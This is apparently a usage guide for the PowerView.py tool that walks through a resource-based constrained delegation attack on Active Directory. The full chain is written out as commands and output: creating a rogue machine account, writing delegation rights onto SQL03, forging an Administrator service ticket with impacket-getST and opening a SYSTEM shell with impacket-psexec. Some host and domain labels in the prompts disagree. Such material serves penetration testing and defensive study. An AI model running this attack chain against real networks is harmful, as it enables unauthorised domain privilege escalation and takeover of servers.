PowerView.py Use Cases

Table Of Content

Resource-based constrained (RBCD)

Resource-based constrained (RBCD)

Scenario: You found SQL injection in a web application and get access as user with SeImpersonate. Using RBCD attacks, we can LPE to be an Administrator.

Use PowerView.py to check for MachineAccountQuota, create a computer account and set the object ACL for targeted account with RBCD rights.

└─$ export KRB5CCNAME=ticket.ccache
└─$ proxychains4 -q powerview domain.local/SQL03\$@10.10.10.10 --no-pass -k -ns 10.10.10.10
[2024-01-17 21:15:43] LDAP Signing NOT Enforced!
(LDAP)-[10.10.10.10]-[DOMAIN\admin]
PV > Get-Domain -Properties ms-DS-MachineAccountQuota
ms-DS-MachineAccountQuota     : 10
(LDAP)-[10.10.10.10]-[DOMAIN\SQL03$]
PV > Add-DomainComputer -ComputerName POC113 -ComputerPass Password123
[2024-01-17 21:17:16] Successfully added machine account POC113$ with password Password123.
(LDAP)-[10.10.10.10]-[CORP\SQL01$]
PV > Add-DomainObjectAcl -TargetIdentity SQL01 -PrincipalIdentity POC113 -Rights RBCD
[2024-01-17 21:17:23] Found principal identity dn CN=POC113,CN=Computers,DC=domain,DC=local
[2024-01-17 21:17:23] Found target identity dn CN=SQL03,OU=SQL Servers,OU=Servers,OU=Domain,DC=domain,DC=local
[2024-01-17 21:17:23] Adding rbcd privilege to SQL03
[2024-01-17 21:17:24] Delegation rights modified succesfully!
[2024-01-17 21:17:24] CN=POC113,CN=Computers,DC=domain,DC=local can now impersonate users on SQL03$ via S4U2Proxy

Check if POC113 inside value of properties msDS-AllowedToActOnBehalfOfOtherIdentity in SQL03

(LDAP)-[10.10.10.10]-[DOMAIN\SQL03$]
PV > Get-DomainComputer SQL03 -Properties * -ResolveSIDs
...
msDS-AllowedToActOnBehalfOfOtherIdentity     : DOMAIN\POC113$
...

Use impacket-getST to request a Service Ticket and save it as ccache with -impersonate Administrator.

└─$ unset KRB5CCNAME
└─$ proxychains4 -q impacket-getST domain.local/POC113\$:'Password123' -spn CIFS/SQL03.domain.local -impersonate Administrator -dc-ip 10.10.10.10
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Get a shell using impacket-psexec

└─# KRB5CCNAME=Administrator.ccache proxychains4 -q impacket-psexec Administrator@SQL03.DOMAIN.LOCAL -k -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on SQL03.DOMAIN.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file fLujQQds.exe
[*] Opening SVCManager on SQL03.DOMAIN.LOCAL.....
[*] Creating service aSVZ on SQL03.DOMAIN.LOCAL.....
[*] Starting service aSVZ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system